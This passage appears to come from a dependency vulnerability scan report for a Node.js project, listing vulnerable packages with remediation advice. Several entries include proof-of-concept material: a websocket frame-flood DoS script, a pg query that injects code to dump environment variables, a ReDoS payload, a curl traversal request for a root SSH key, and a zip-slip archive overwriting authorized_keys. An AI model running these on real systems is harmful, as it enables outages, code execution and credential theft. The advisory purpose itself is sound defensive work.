If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for whet.extend.
References
high severity
new
- Vulnerable module: ws
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3 › ws@1.1.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › ws@1.1.2Remediation: Upgrade to sails@1.0.0.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames
Workaround
This vulnerability can be mitigated by lowering the value of the maxPayload option.
PoC
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.
References
high severity
- Vulnerable module: base64-url
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › uid-safe@1.1.0 › base64-url@1.2.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › express-session@1.11.3 › uid-safe@2.0.0 › base64-url@1.2.1
Overview
base64-url Base64 encode, decode, escape and unescape for URL applications.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. An attacker may extract sensitive data from uninitialized memory or may cause a DoS by passing in a large number, in setups where typed user input can be passed (e.g. from JSON).
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.
Remediation
Upgrade base64-url to version 2.0.0 or higher.
Note This is vulnerable only for Node <=4
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › lodash@4.17.23Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › lodash@4.17.23Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to nodegit@0.24.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to nodegit@0.23.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.
By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.
Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.
Remediation
Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to nodegit@0.24.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to nodegit@0.23.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts.
A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to nodegit@0.24.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to nodegit@0.23.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.
This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.
Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.
Note: This only affects users of node-tar on Windows systems.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: pg
- Introduced through: sails-postgresql@0.11.4
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › pg@4.5.5Remediation: Upgrade to sails-postgresql@1.0.0.
Overview
pg is a non-blocking PostgreSQL client for node.js.
Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.
PoC:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
});
Remediation
Upgrade pg to version 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: webpack@2.7.0 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › ajv@4.11.8Remediation: Upgrade to webpack@3.11.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › har-validator@4.2.1 › ajv@4.11.8
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper validation of the pattern keyword when combined with $data references. An attacker can cause the application to become unresponsive and exhaust CPU resources by submitting a specially crafted regular expression payload.
Note:
This is only exploitable if the $data option is enabled.
PoC
const Ajv = require('ajv');
// Vulnerable configuration — $data enables runtime pattern injection
const ajv = new Ajv({ $data: true });
const schema = {
type: 'object',
properties: {
pattern: { type: 'string' },
value: {
type: 'string',
pattern: { $data: '1/pattern' } // Pattern comes from the data itself
}
}
};
const validate = ajv.compile(schema);
// Malicious payload — both the pattern and the triggering input
const maliciousPayload = {
pattern: '^(a|a)*$', // Catastrophic backtracking pattern
value: 'a'.repeat(30) + 'X' // 30 'a's followed by 'X' to force full backtracking
};
console.time('attack');
validate(maliciousPayload); // Blocks the entire Node.js process for ~44 seconds
console.timeEnd('attack');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
